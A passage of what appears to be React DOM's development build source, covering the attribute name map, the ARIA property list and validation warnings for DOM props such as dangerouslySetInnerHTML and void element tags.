2869
2870 var expandedUpdates = expandShorthandMap(styleUpdates);
2871 var expandedStyles = expandShorthandMap(nextStyles);
2872 var warnedAbout = {};
2873
2874 for (var key in expandedUpdates) {
2875 var originalKey = expandedUpdates[key];
2876 var correctOriginalKey = expandedStyles[key];
2877
2878 if (correctOriginalKey && originalKey !== correctOriginalKey) {
2879 var warningKey = originalKey + ',' + correctOriginalKey;
2880
2881 if (warnedAbout[warningKey]) {
2882 continue;
2883 }
2884
2885 warnedAbout[warningKey] = true;
2886
2887 error('%s a style property during rerender (%s) when a ' + 'conflicting property is set (%s) can lead to styling bugs. To ' + "avoid this, don't mix shorthand and non-shorthand properties " + 'for the same value; instead, replace the shorthand with ' + 'separate values.', isValueEmpty(styleUpdates[originalKey]) ? 'Removing' : 'Updating', originalKey, correctOriginalKey);
2888 }
2889 }
2890 }
2891 }
2892
2893 // For HTML, certain tags should omit their close tag. We keep a list for
2894 // those special-case tags.
2895 var omittedCloseTags = {
2896 area: true,
2897 base: true,
2898 br: true,
2899 col: true,
2900 embed: true,
2901 hr: true,
2902 img: true,
2903 input: true,
2904 keygen: true,
2905 link: true,
2906 meta: true,
2907 param: true,
2908 source: true,
2909 track: true,
2910 wbr: true // NOTE: menuitem's close tag should be omitted, but that causes problems.
2911
2912 };
2913
2914 // `omittedCloseTags` except that `menuitem` should still have its closing tag.
2915
2916 var voidElementTags = assign({
2917 menuitem: true
2918 }, omittedCloseTags);
2919
2920 var HTML = '__html';
2921
2922 function assertValidProps(tag, props) {
2923 if (!props) {
2924 return;
2925 } // Note the use of `==` which checks for null or undefined.
2926
2927
2928 if (voidElementTags[tag]) {
2929 if (props.children != null || props.dangerouslySetInnerHTML != null) {
2930 throw new Error(tag + " is a void element tag and must neither have `children` nor " + 'use `dangerouslySetInnerHTML`.');
2931 }
2932 }
2933
2934 if (props.dangerouslySetInnerHTML != null) {
2935 if (props.children != null) {
2936 throw new Error('Can only set one of `children` or `props.dangerouslySetInnerHTML`.');
2937 }
2938
2939 if (typeof props.dangerouslySetInnerHTML !== 'object' || !(HTML in props.dangerouslySetInnerHTML)) {
2940 throw new Error('`props.dangerouslySetInnerHTML` must be in the form `{__html: ...}`. ' + 'Please visit https://reactjs.org/link/dangerously-set-inner-html ' + 'for more information.');
2941 }
2942 }
2943
2944 {
2945 if (!props.suppressContentEditableWarning && props.contentEditable && props.children != null) {
2946 error('A component is `contentEditable` and contains `children` managed by ' + 'React. It is now your responsibility to guarantee that none of ' + 'those nodes are unexpectedly modified or duplicated. This is ' + 'probably not intentional.');
2947 }
2948 }
2949
2950 if (props.style != null && typeof props.style !== 'object') {
2951 throw new Error('The `style` prop expects a mapping from style properties to values, ' + "not a string. For example, style={{marginRight: spacing + 'em'}} when " + 'using JSX.');
2952 }
2953 }
2954
2955 function isCustomComponent(tagName, props) {
2956 if (tagName.indexOf('-') === -1) {
2957 return typeof props.is === 'string';
2958 }
2959
2960 switch (tagName) {
2961 // These are reserved SVG and MathML elements.
2962 // We don't mind this list too much because we expect it to never grow.
2963 // The alternative is to track the namespace in a few places which is convoluted.
2964 // https://w3c.github.io/webcomponents/spec/custom/#custom-elements-core-concepts
2965 case 'annotation-xml':
2966 case 'color-profile':
2967 case 'font-face':
2968 case 'font-face-src':
2969 case 'font-face-uri':
2970 case 'font-face-format':
2971 case 'font-face-name':
2972 case 'missing-glyph':
2973 return false;
2974
2975 default:
2976 return true;
2977 }
2978 }
2979
2980 // When adding attributes to the HTML or SVG allowed attribute list, be sure to
2981 // also add them to this module to ensure casing and incorrect name
2982 // warnings.
2983 var possibleStandardNames = {
2984 // HTML
2985 accept: 'accept',
2986 acceptcharset: 'acceptCharset',
2987 'accept-charset': 'acceptCharset',
2988 accesskey: 'accessKey',
2989 action: 'action',
2990 allowfullscreen: 'allowFullScreen',
2991 alt: 'alt',
2992 as: 'as',
2993 async: 'async',
2994 autocapitalize: 'autoCapitalize',
2995 autocomplete: 'autoComplete',
2996 autocorrect: 'autoCorrect',
2997 autofocus: 'autoFocus',
2998 autoplay: 'autoPlay',
2999 autosave: 'autoSave',
3000 capture: 'capture',
3001 cellpadding: 'cellPadding',
3002 cellspacing: 'cellSpacing',
3003 challenge: 'challenge',
3004 charset: 'charSet',
3005 checked: 'checked',
3006 children: 'children',
3007 cite: 'cite',
3008 class: 'className',
3009 classid: 'classID',
3010 classname: 'className',
3011 cols: 'cols',
3012 colspan: 'colSpan',
3013 content: 'content',
3014 contenteditable: 'contentEditable',
3015 contextmenu: 'contextMenu',
3016 controls: 'controls',
3017 controlslist: 'controlsList',
3018 coords: 'coords',
3019 crossorigin: 'crossOrigin',
3020 dangerouslysetinnerhtml: 'dangerouslySetInnerHTML',
3021 data: 'data',
3022 datetime: 'dateTime',
3023 default: 'default',
3024 defaultchecked: 'defaultChecked',
3025 defaultvalue: 'defaultValue',
3026 defer: 'defer',
3027 dir: 'dir',
3028 disabled: 'disabled',
3029 disablepictureinpicture: 'disablePictureInPicture',
3030 disableremoteplayback: 'disableRemotePlayback',
3031 download: 'download',
3032 draggable: 'draggable',
3033 enctype: 'encType',
3034 enterkeyhint: 'enterKeyHint',
3035 for: 'htmlFor',
3036 form: 'form',
3037 formmethod: 'formMethod',
3038 formaction: 'formAction',
3039 formenctype: 'formEncType',
3040 formnovalidate: 'formNoValidate',
3041 formtarget: 'formTarget',
3042 frameborder: 'frameBorder',
3043 headers: 'headers',
3044 height: 'height',
3045 hidden: 'hidden',
3046 high: 'high',
3047 href: 'href',
3048 hreflang: 'hrefLang',
3049 htmlfor: 'htmlFor',
3050 httpequiv: 'httpEquiv',
3051 'http-equiv': 'httpEquiv',
3052 icon: 'icon',
3053 id: 'id',
3054 imagesizes: 'imageSizes',
3055 imagesrcset: 'imageSrcSet',
3056 innerhtml: 'innerHTML',
3057 inputmode: 'inputMode',
3058 integrity: 'integrity',
3059 is: 'is',
3060 itemid: 'itemID',
3061 itemprop: 'itemProp',
3062 itemref: 'itemRef',
3063 itemscope: 'itemScope',
3064 itemtype: 'itemType',
3065 keyparams: 'keyParams',
3066 keytype: 'keyType',
3067 kind: 'kind',
3068 label: 'label',
3069 lang: 'lang',
3070 list: 'list',
3071 loop: 'loop',
3072 low: 'low',
3073 manifest: 'manifest',
3074 marginwidth: 'marginWidth',
3075 marginheight: 'marginHeight',
3076 max: 'max',
3077 maxlength: 'maxLength',
3078 media: 'media',
3079 mediagroup: 'mediaGroup',
3080 method: 'method',
3081 min: 'min',
3082 minlength: 'minLength',
3083 multiple: 'multiple',
3084 muted: 'muted',
3085 name: 'name',
3086 nomodule: 'noModule',
3087 nonce: 'nonce',
3088 novalidate: 'noValidate',
3089 open: 'open',
3090 optimum: 'optimum',
3091 pattern: 'pattern',
3092 placeholder: 'placeholder',
3093 playsinline: 'playsInline',
3094 poster: 'poster',
3095 preload: 'preload',
3096 profile: 'profile',
3097 radiogroup: 'radioGroup',
3098 readonly: 'readOnly',
3099 referrerpolicy: 'referrerPolicy',
3100 rel: 'rel',
3101 required: 'required',
3102 reversed: 'reversed',
3103 role: 'role',
3104 rows: 'rows',
3105 rowspan: 'rowSpan',
3106 sandbox: 'sandbox',
3107 scope: 'scope',
3108 scoped: 'scoped',
3109 scrolling: 'scrolling',
3110 seamless: 'seamless',
3111 selected: 'selected',
3112 shape: 'shape',
3113 size: 'size',
3114 sizes: 'sizes',
3115 span: 'span',
3116 spellcheck: 'spellCheck',
3117 src: 'src',
3118 srcdoc: 'srcDoc',
3119 srclang: 'srcLang',
3120 srcset: 'srcSet',
3121 start: 'start',
3122 step: 'step',
3123 style: 'style',
3124 summary: 'summary',
3125 tabindex: 'tabIndex',
3126 target: 'target',
3127 title: 'title',
3128 type: 'type',
3129 usemap: 'useMap',
3130 value: 'value',
3131 width: 'width',
3132 wmode: 'wmode',
3133 wrap: 'wrap',
3134 // SVG
3135 about: 'about',
3136 accentheight: 'accentHeight',
3137 'accent-height': 'accentHeight',
3138 accumulate: 'accumulate',
3139 additive: 'additive',
3140 alignmentbaseline: 'alignmentBaseline',
3141 'alignment-baseline': 'alignmentBaseline',
3142 allowreorder: 'allowReorder',
3143 alphabetic: 'alphabetic',
3144 amplitude: 'amplitude',
3145 arabicform: 'arabicForm',
3146 'arabic-form': 'arabicForm',
3147 ascent: 'ascent',
3148 attributename: 'attributeName',
3149 attributetype: 'attributeType',
3150 autoreverse: 'autoReverse',
3151 azimuth: 'azimuth',
3152 basefrequency: 'baseFrequency',
3153 baselineshift: 'baselineShift',
3154 'baseline-shift': 'baselineShift',
3155 baseprofile: 'baseProfile',
3156 bbox: 'bbox',
3157 begin: 'begin',
3158 bias: 'bias',
3159 by: 'by',
3160 calcmode: 'calcMode',
3161 capheight: 'capHeight',
3162 'cap-height': 'capHeight',
3163 clip: 'clip',
3164 clippath: 'clipPath',
3165 'clip-path': 'clipPath',
3166 clippathunits: 'clipPathUnits',
3167 cliprule: 'clipRule',
3168 'clip-rule': 'clipRule',
3169 color: 'color',
3170 colorinterpolation: 'colorInterpolation',
3171 'color-interpolation': 'colorInterpolation',
3172 colorinterpolationfilters: 'colorInterpolationFilters',
3173 'color-interpolation-filters': 'colorInterpolationFilters',
3174 colorprofile: 'colorProfile',
3175 'color-profile': 'colorProfile',
3176 colorrendering: 'colorRendering',
3177 'color-rendering': 'colorRendering',
3178 contentscripttype: 'contentScriptType',
3179 contentstyletype: 'contentStyleType',
3180 cursor: 'cursor',
3181 cx: 'cx',
3182 cy: 'cy',
3183 d: 'd',
3184 datatype: 'datatype',
3185 decelerate: 'decelerate',
3186 descent: 'descent',
3187 diffuseconstant: 'diffuseConstant',
3188 direction: 'direction',
3189 display: 'display',
3190 divisor: 'divisor',
3191 dominantbaseline: 'dominantBaseline',
3192 'dominant-baseline': 'dominantBaseline',
3193 dur: 'dur',
3194 dx: 'dx',
3195 dy: 'dy',
3196 edgemode: 'edgeMode',
3197 elevation: 'elevation',
3198 enablebackground: 'enableBackground',
3199 'enable-background': 'enableBackground',
3200 end: 'end',
3201 exponent: 'exponent',
3202 externalresourcesrequired: 'externalResourcesRequired',
3203 fill: 'fill',
3204 fillopacity: 'fillOpacity',
3205 'fill-opacity': 'fillOpacity',
3206 fillrule: 'fillRule',
3207 'fill-rule': 'fillRule',
3208 filter: 'filter',
3209 filterres: 'filterRes',
3210 filterunits: 'filterUnits',
3211 floodopacity: 'floodOpacity',
3212 'flood-opacity': 'floodOpacity',
3213 floodcolor: 'floodColor',
3214 'flood-color': 'floodColor',
3215 focusable: 'focusable',
3216 fontfamily: 'fontFamily',
3217 'font-family': 'fontFamily',
3218 fontsize: 'fontSize',
3219 'font-size': 'fontSize',
3220 fontsizeadjust: 'fontSizeAdjust',
3221 'font-size-adjust': 'fontSizeAdjust',
3222 fontstretch: 'fontStretch',
3223 'font-stretch': 'fontStretch',
3224 fontstyle: 'fontStyle',
3225 'font-style': 'fontStyle',
3226 fontvariant: 'fontVariant',
3227 'font-variant': 'fontVariant',
3228 fontweight: 'fontWeight',
3229 'font-weight': 'fontWeight',
3230 format: 'format',
3231 from: 'from',
3232 fx: 'fx',
3233 fy: 'fy',
3234 g1: 'g1',
3235 g2: 'g2',
3236 glyphname: 'glyphName',
3237 'glyph-name': 'glyphName',
3238 glyphorientationhorizontal: 'glyphOrientationHorizontal',
3239 'glyph-orientation-horizontal': 'glyphOrientationHorizontal',
3240 glyphorientationvertical: 'glyphOrientationVertical',
3241 'glyph-orientation-vertical': 'glyphOrientationVertical',
3242 glyphref: 'glyphRef',
3243 gradienttransform: 'gradientTransform',
3244 gradientunits: 'gradientUnits',
3245 hanging: 'hanging',
3246 horizadvx: 'horizAdvX',
3247 'horiz-adv-x': 'horizAdvX',
3248 horizoriginx: 'horizOriginX',
3249 'horiz-origin-x': 'horizOriginX',
3250 ideographic: 'ideographic',
3251 imagerendering: 'imageRendering',
3252 'image-rendering': 'imageRendering',
3253 in2: 'in2',
3254 in: 'in',
3255 inlist: 'inlist',
3256 intercept: 'intercept',
3257 k1: 'k1',
3258 k2: 'k2',
3259 k3: 'k3',
3260 k4: 'k4',
3261 k: 'k',
3262 kernelmatrix: 'kernelMatrix',
3263 kernelunitlength: 'kernelUnitLength',
3264 kerning: 'kerning',
3265 keypoints: 'keyPoints',
3266 keysplines: 'keySplines',
3267 keytimes: 'keyTimes',
3268 lengthadjust: 'lengthAdjust',
3269 letterspacing: 'letterSpacing',
3270 'letter-spacing': 'letterSpacing',
3271 lightingcolor: 'lightingColor',
3272 'lighting-color': 'lightingColor',
3273 limitingconeangle: 'limitingConeAngle',
3274 local: 'local',
3275 markerend: 'markerEnd',
3276 'marker-end': 'markerEnd',
3277 markerheight: 'markerHeight',
3278 markermid: 'markerMid',
3279 'marker-mid': 'markerMid',
3280 markerstart: 'markerStart',
3281 'marker-start': 'markerStart',
3282 markerunits: 'markerUnits',
3283 markerwidth: 'markerWidth',
3284 mask: 'mask',
3285 maskcontentunits: 'maskContentUnits',
3286 maskunits: 'maskUnits',
3287 mathematical: 'mathematical',
3288 mode: 'mode',
3289 numoctaves: 'numOctaves',
3290 offset: 'offset',
3291 opacity: 'opacity',
3292 operator: 'operator',
3293 order: 'order',
3294 orient: 'orient',
3295 orientation: 'orientation',
3296 origin: 'origin',
3297 overflow: 'overflow',
3298 overlineposition: 'overlinePosition',
3299 'overline-position': 'overlinePosition',
3300 overlinethickness: 'overlineThickness',
3301 'overline-thickness': 'overlineThickness',
3302 paintorder: 'paintOrder',
3303 'paint-order': 'paintOrder',
3304 panose1: 'panose1',
3305 'panose-1': 'panose1',
3306 pathlength: 'pathLength',
3307 patterncontentunits: 'patternContentUnits',
3308 patterntransform: 'patternTransform',
3309 patternunits: 'patternUnits',
3310 pointerevents: 'pointerEvents',
3311 'pointer-events': 'pointerEvents',
3312 points: 'points',
3313 pointsatx: 'pointsAtX',
3314 pointsaty: 'pointsAtY',
3315 pointsatz: 'pointsAtZ',
3316 prefix: 'prefix',
3317 preservealpha: 'preserveAlpha',
3318 preserveaspectratio: 'preserveAspectRatio',
3319 primitiveunits: 'primitiveUnits',
3320 property: 'property',
3321 r: 'r',
3322 radius: 'radius',
3323 refx: 'refX',
3324 refy: 'refY',
3325 renderingintent: 'renderingIntent',
3326 'rendering-intent': 'renderingIntent',
3327 repeatcount: 'repeatCount',
3328 repeatdur: 'repeatDur',
3329 requiredextensions: 'requiredExtensions',
3330 requiredfeatures: 'requiredFeatures',
3331 resource: 'resource',
3332 restart: 'restart',
3333 result: 'result',
3334 results: 'results',
3335 rotate: 'rotate',
3336 rx: 'rx',
3337 ry: 'ry',
3338 scale: 'scale',
3339 security: 'security',
3340 seed: 'seed',
3341 shaperendering: 'shapeRendering',
3342 'shape-rendering': 'shapeRendering',
3343 slope: 'slope',
3344 spacing: 'spacing',
3345 specularconstant: 'specularConstant',
3346 specularexponent: 'specularExponent',
3347 speed: 'speed',
3348 spreadmethod: 'spreadMethod',
3349 startoffset: 'startOffset',
3350 stddeviation: 'stdDeviation',
3351 stemh: 'stemh',
3352 stemv: 'stemv',
3353 stitchtiles: 'stitchTiles',
3354 stopcolor: 'stopColor',
3355 'stop-color': 'stopColor',
3356 stopopacity: 'stopOpacity',
3357 'stop-opacity': 'stopOpacity',
3358 strikethroughposition: 'strikethroughPosition',
3359 'strikethrough-position': 'strikethroughPosition',
3360 strikethroughthickness: 'strikethroughThickness',
3361 'strikethrough-thickness': 'strikethroughThickness',
3362 string: 'string',
3363 stroke: 'stroke',
3364 strokedasharray: 'strokeDasharray',
3365 'stroke-dasharray': 'strokeDasharray',
3366 strokedashoffset: 'strokeDashoffset',
3367 'stroke-dashoffset': 'strokeDashoffset',
3368 strokelinecap: 'strokeLinecap',
3369 'stroke-linecap': 'strokeLinecap',
3370 strokelinejoin: 'strokeLinejoin',
3371 'stroke-linejoin': 'strokeLinejoin',
3372 strokemiterlimit: 'strokeMiterlimit',
3373 'stroke-miterlimit': 'strokeMiterlimit',
3374 strokewidth: 'strokeWidth',
3375 'stroke-width': 'strokeWidth',
3376 strokeopacity: 'strokeOpacity',
3377 'stroke-opacity': 'strokeOpacity',
3378 suppresscontenteditablewarning: 'suppressContentEditableWarning',
3379 suppresshydrationwarning: 'suppressHydrationWarning',
3380 surfacescale: 'surfaceScale',
3381 systemlanguage: 'systemLanguage',
3382 tablevalues: 'tableValues',
3383 targetx: 'targetX',
3384 targety: 'targetY',
3385 textanchor: 'textAnchor',
3386 'text-anchor': 'textAnchor',
3387 textdecoration: 'textDecoration',
3388 'text-decoration': 'textDecoration',
3389 textlength: 'textLength',
3390 textrendering: 'textRendering',
3391 'text-rendering': 'textRendering',
3392 to: 'to',
3393 transform: 'transform',
3394 typeof: 'typeof',
3395 u1: 'u1',
3396 u2: 'u2',
3397 underlineposition: 'underlinePosition',
3398 'underline-position': 'underlinePosition',
3399 underlinethickness: 'underlineThickness',
3400 'underline-thickness': 'underlineThickness',
3401 unicode: 'unicode',
3402 unicodebidi: 'unicodeBidi',
3403 'unicode-bidi': 'unicodeBidi',
3404 unicoderange: 'unicodeRange',
3405 'unicode-range': 'unicodeRange',
3406 unitsperem: 'unitsPerEm',
3407 'units-per-em': 'unitsPerEm',
3408 unselectable: 'unselectable',
3409 valphabetic: 'vAlphabetic',
3410 'v-alphabetic': 'vAlphabetic',
3411 values: 'values',
3412 vectoreffect: 'vectorEffect',
3413 'vector-effect': 'vectorEffect',
3414 version: 'version',
3415 vertadvy: 'vertAdvY',
3416 'vert-adv-y': 'vertAdvY',
3417 vertoriginx: 'vertOriginX',
3418 'vert-origin-x': 'vertOriginX',
3419 vertoriginy: 'vertOriginY',
3420 'vert-origin-y': 'vertOriginY',
3421 vhanging: 'vHanging',
3422 'v-hanging': 'vHanging',
3423 videographic: 'vIdeographic',
3424 'v-ideographic': 'vIdeographic',
3425 viewbox: 'viewBox',
3426 viewtarget: 'viewTarget',
3427 visibility: 'visibility',
3428 vmathematical: 'vMathematical',
3429 'v-mathematical': 'vMathematical',
3430 vocab: 'vocab',
3431 widths: 'widths',
3432 wordspacing: 'wordSpacing',
3433 'word-spacing': 'wordSpacing',
3434 writingmode: 'writingMode',
3435 'writing-mode': 'writingMode',
3436 x1: 'x1',
3437 x2: 'x2',
3438 x: 'x',
3439 xchannelselector: 'xChannelSelector',
3440 xheight: 'xHeight',
3441 'x-height': 'xHeight',
3442 xlinkactuate: 'xlinkActuate',
3443 'xlink:actuate': 'xlinkActuate',
3444 xlinkarcrole: 'xlinkArcrole',
3445 'xlink:arcrole': 'xlinkArcrole',
3446 xlinkhref: 'xlinkHref',
3447 'xlink:href': 'xlinkHref',
3448 xlinkrole: 'xlinkRole',
3449 'xlink:role': 'xlinkRole',
3450 xlinkshow: 'xlinkShow',
3451 'xlink:show': 'xlinkShow',
3452 xlinktitle: 'xlinkTitle',
3453 'xlink:title': 'xlinkTitle',
3454 xlinktype: 'xlinkType',
3455 'xlink:type': 'xlinkType',
3456 xmlbase: 'xmlBase',
3457 'xml:base': 'xmlBase',
3458 xmllang: 'xmlLang',
3459 'xml:lang': 'xmlLang',
3460 xmlns: 'xmlns',
3461 'xml:space': 'xmlSpace',
3462 xmlnsxlink: 'xmlnsXlink',
3463 'xmlns:xlink': 'xmlnsXlink',
3464 xmlspace: 'xmlSpace',
3465 y1: 'y1',
3466 y2: 'y2',
3467 y: 'y',
3468 ychannelselector: 'yChannelSelector',
3469 z: 'z',
3470 zoomandpan: 'zoomAndPan'
3471 };
3472
3473 var ariaProperties = {
3474 'aria-current': 0,
3475 // state
3476 'aria-description': 0,
3477 'aria-details': 0,
3478 'aria-disabled': 0,
3479 // state
3480 'aria-hidden': 0,
3481 // state
3482 'aria-invalid': 0,
3483 // state
3484 'aria-keyshortcuts': 0,
3485 'aria-label': 0,
3486 'aria-roledescription': 0,
3487 // Widget Attributes
3488 'aria-autocomplete': 0,
3489 'aria-checked': 0,
3490 'aria-expanded': 0,
3491 'aria-haspopup': 0,
3492 'aria-level': 0,
3493 'aria-modal': 0,
3494 'aria-multiline': 0,
3495 'aria-multiselectable': 0,
3496 'aria-orientation': 0,
3497 'aria-placeholder': 0,
3498 'aria-pressed': 0,
3499 'aria-readonly': 0,
3500 'aria-required': 0,
3501 'aria-selected': 0,
3502 'aria-sort': 0,
3503 'aria-valuemax': 0,
3504 'aria-valuemin': 0,
3505 'aria-valuenow': 0,
3506 'aria-valuetext': 0,
3507 // Live Region Attributes
3508 'aria-atomic': 0,
3509 'aria-busy': 0,
3510 'aria-live': 0,
3511 'aria-relevant': 0,
3512 // Drag-and-Drop Attributes
3513 'aria-dropeffect': 0,
3514 'aria-grabbed': 0,
3515 // Relationship Attributes
3516 'aria-activedescendant': 0,
3517 'aria-colcount': 0,
3518 'aria-colindex': 0,
3519 'aria-colspan': 0,
3520 'aria-controls': 0,
3521 'aria-describedby': 0,
3522 'aria-errormessage': 0,
3523 'aria-flowto': 0,
3524 'aria-labelledby': 0,
3525 'aria-owns': 0,
3526 'aria-posinset': 0,
3527 'aria-rowcount': 0,
3528 'aria-rowindex': 0,
3529 'aria-rowspan': 0,
3530 'aria-setsize': 0
3531 };
3532
3533 var warnedProperties = {};
3534 var rARIA = new RegExp('^(aria)-[' + ATTRIBUTE_NAME_CHAR + ']*$');
3535 var rARIACamel = new RegExp('^(aria)[A-Z][' + ATTRIBUTE_NAME_CHAR + ']*$');
3536
3537 function validateProperty(tagName, name) {
3538 {
3539 if (hasOwnProperty.call(warnedProperties, name) && warnedProperties[name]) {
3540 return true;
3541 }
3542
3543 if (rARIACamel.test(name)) {
3544 var ariaName = 'aria-' + name.slice(4).toLowerCase();
3545 var correctName = ariaProperties.hasOwnProperty(ariaName) ? ariaName : null; // If this is an aria-* attribute, but is not listed in the known DOM
3546 // DOM properties, then it is an invalid aria-* attribute.
3547
3548 if (correctName == null) {
3549 error('Invalid ARIA attribute `%s`. ARIA attributes follow the pattern aria-* and must be lowercase.', name);
3550
3551 warnedProperties[name] = true;
3552 return true;
3553 } // aria-* attributes should be lowercase; suggest the lowercase version.
3554
3555
3556 if (name !== correctName) {
3557 error('Invalid ARIA attribute `%s`. Did you mean `%s`?', name, correctName);
3558
3559 warnedProperties[name] = true;
3560 return true;
3561 }
3562 }
3563
3564 if (rARIA.test(name)) {
3565 var lowerCasedName = name.toLowerCase();
3566 var standardName = ariaProperties.hasOwnProperty(lowerCasedName) ? lowerCasedName : null; // If this is an aria-* attribute, but is not listed in the known DOM
3567 // DOM properties, then it is an invalid aria-* attribute.
3568
3569 if (standardName == null) {
3570 warnedProperties[name] = true;
3571 return false;
3572 } // aria-* attributes should be lowercase; suggest the lowercase version.
3573
3574
3575 if (name !== standardName) {
3576 error('Unknown ARIA attribute `%s`. Did you mean `%s`?', name, standardName);
3577
3578 warnedProperties[name] = true;
3579 return true;
3580 }
3581 }
3582 }
3583
3584 return true;
3585 }
3586
3587 function warnInvalidARIAProps(type, props) {
3588 {
3589 var invalidProps = [];
3590
3591 for (var key in props) {
3592 var isValid = validateProperty(type, key);
3593
3594 if (!isValid) {
3595 invalidProps.push(key);
3596 }
3597 }
3598
3599 var unknownPropString = invalidProps.map(function (prop) {
3600 return '`' + prop + '`';
3601 }).join(', ');
3602
3603 if (invalidProps.length === 1) {
3604 error('Invalid aria prop %s on <%s> tag. ' + 'For details, see https://reactjs.org/link/invalid-aria-props', unknownPropString, type);
3605 } else if (invalidProps.length > 1) {
3606 error('Invalid aria props %s on <%s> tag. ' + 'For details, see https://reactjs.org/link/invalid-aria-props', unknownPropString, type);
3607 }
3608 }
3609 }
3610
3611 function validateProperties(type, props) {
3612 if (isCustomComponent(type, props)) {
3613 return;
3614 }
3615
3616 warnInvalidARIAProps(type, props);
3617 }
3618
3619 var didWarnValueNull = false;
3620 function validateProperties$1(type, props) {
3621 {
3622 if (type !== 'input' && type !== 'textarea' && type !== 'select') {
3623 return;
3624 }
3625
3626 if (props != null && props.value === null && !didWarnValueNull) {
3627 didWarnValueNull = true;
3628
3629 if (type === 'select' && props.multiple) {
3630 error('`value` prop on `%s` should not be null. ' + 'Consider using an empty array when `multiple` is set to `true` ' + 'to clear the component or `undefined` for uncontrolled components.', type);
3631 } else {
3632 error('`value` prop on `%s` should not be null. ' + 'Consider using an empty string to clear the component or `undefined` ' + 'for uncontrolled components.', type);
3633 }
3634 }
3635 }
3636 }
3637
3638 var validateProperty$1 = function () {};
3639
3640 {
3641 var warnedProperties$1 = {};
3642 var EVENT_NAME_REGEX = /^on./;
3643 var INVALID_EVENT_NAME_REGEX = /^on[^A-Z]/;
3644 var rARIA$1 = new RegExp('^(aria)-[' + ATTRIBUTE_NAME_CHAR + ']*$');
3645 var rARIACamel$1 = new RegExp('^(aria)[A-Z][' + ATTRIBUTE_NAME_CHAR + ']*$');
3646
3647 validateProperty$1 = function (tagName, name, value, eventRegistry) {
3648 if (hasOwnProperty.call(warnedProperties$1, name) && warnedProperties$1[name]) {
3649 return true;
3650 }
3651
3652 var lowerCasedName = name.toLowerCase();
3653
3654 if (lowerCasedName === 'onfocusin' || lowerCasedName === 'onfocusout') {
3655 error('React uses onFocus and onBlur instead of onFocusIn and onFocusOut. ' + 'All React events are normalized to bubble, so onFocusIn and onFocusOut ' + 'are not needed/supported by React.');
3656
3657 warnedProperties$1[name] = true;
3658 return true;
3659 } // We can't rely on the event system being injected on the server.
3660
3661
3662 if (eventRegistry != null) {
3663 var registrationNameDependencies = eventRegistry.registrationNameDependencies,
3664 possibleRegistrationNames = eventRegistry.possibleRegistrationNames;
3665
3666 if (registrationNameDependencies.hasOwnProperty(name)) {
3667 return true;
3668 }
3669
3670 var registrationName = possibleRegistrationNames.hasOwnProperty(lowerCasedName) ? possibleRegistrationNames[lowerCasedName] : null;
3671
3672 if (registrationName != null) {
3673 error('Invalid event handler property `%s`. Did you mean `%s`?', name, registrationName);
3674
3675 warnedProperties$1[name] = true;
3676 return true;
3677 }
3678
3679 if (EVENT_NAME_REGEX.test(name)) {
3680 error('Unknown event handler property `%s`. It will be ignored.', name);
3681
3682 warnedProperties$1[name] = true;
3683 return true;
3684 }
3685 } else if (EVENT_NAME_REGEX.test(name)) {
3686 // If no event plugins have been injected, we are in a server environment.
3687 // So we can't tell if the event name is correct for sure, but we can filter
3688 // out known bad ones like `onclick`. We can't suggest a specific replacement though.
3689 if (INVALID_EVENT_NAME_REGEX.test(name)) {
3690 error('Invalid event handler property `%s`. ' + 'React events use the camelCase naming convention, for example `onClick`.', name);
3691 }
3692
3693 warnedProperties$1[name] = true;
3694 return true;
3695 } // Let the ARIA attribute hook validate ARIA attributes
3696
3697
3698 if (rARIA$1.test(name) || rARIACamel$1.test(name)) {
3699 return true;
3700 }
3701
3702 if (lowerCasedName === 'innerhtml') {
3703 error('Directly setting property `innerHTML` is not permitted. ' + 'For more information, lookup documentation on `dangerouslySetInnerHTML`.');
3704
3705 warnedProperties$1[name] = true;
3706 return true;
3707 }
3708
3709 if (lowerCasedName === 'aria') {
3710 error('The `aria` attribute is reserved for future use in React. ' + 'Pass individual `aria-` attributes instead.');
3711
3712 warnedProperties$1[name] = true;
3713 return true;
3714 }
3715
3716 if (lowerCasedName === 'is' && value !== null && value !== undefined && typeof value !== 'string') {
3717 error('Received a `%s` for a string attribute `is`. If this is expected, cast ' + 'the value to a string.', typeof value);
3718
3719 warnedProperties$1[name] = true;
3720 return true;
3721 }
3722
3723 if (typeof value === 'number' && isNaN(value)) {
3724 error('Received NaN for the `%s` attribute. If this is expected, cast ' + 'the value to a string.', name);
3725
3726 warnedProperties$1[name] = true;
3727 return true;
3728 }
3729
3730 var propertyInfo = getPropertyInfo(name);
3731 var isReserved = propertyInfo !== null && propertyInfo.type === RESERVED; // Known attributes should match the casing specified in the property config.
3732
3733 if (possibleStandardNames.hasOwnProperty(lowerCasedName)) {
3734 var standardName = possibleStandardNames[lowerCasedName];
3735
3736 if (standardName !== name) {
3737 error('Invalid DOM property `%s`. Did you mean `%s`?', name, standardName);
3738
3739 warnedProperties$1[name] = true;
3740 return true;
3741 }
3742 } else if (!isReserved && name !== lowerCasedName) {
3743 // Unknown attributes should have lowercase casing since that's how they
3744 // will be cased anyway with server rendering.
3745 error('React does not recognize the `%s` prop on a DOM element. If you ' + 'intentionally want it to appear in the DOM as a custom ' + 'attribute, spell it as lowercase `%s` instead. ' + 'If you accidentally passed it from a parent component, remove ' + 'it from the DOM element.', name, lowerCasedName);
3746
3747 warnedProperties$1[name] = true;
3748 return true;
3749 }
3750
3751 if (typeof value === 'boolean' && shouldRemoveAttributeWithWarning(name, value, propertyInfo, false)) {
3752 if (value) {
3753 error('Received `%s` for a non-boolean attribute `%s`.\n\n' + 'If you want to write it to the DOM, pass a string instead: ' + '%s="%s" or %s={value.toString()}.', value, name, name, value, name);
3754 } else {
3755 error('Received `%s` for a non-boolean attribute `%s`.\n\n' + 'If you want to write it to the DOM, pass a string instead: ' + '%s="%s" or %s={value.toString()}.\n\n' + 'If you used to conditionally omit it with %s={condition && value}, ' + 'pass %s={condition ? value : undefined} instead.', value, name, name, value, name, name, name);
3756 }
3757
3758 warnedProperties$1[name] = true;
3759 return true;
3760 } // Now that we've validated casing, do not validate
3761 // data types for reserved props
3762
3763
3764 if (isReserved) {
3765 return true;
3766 } // Warn when a known attribute is a bad type
3767
3768
3769 if (shouldRemoveAttributeWithWarning(name, value, propertyInfo, false)) {
3770 warnedProperties$1[name] = true;
3771 return false;
3772 } // Warn when passing the strings 'false' or 'true' into a boolean prop
3773
3774
3775 if ((value === 'false' || value === 'true') && propertyInfo !== null && propertyInfo.type === BOOLEAN) {
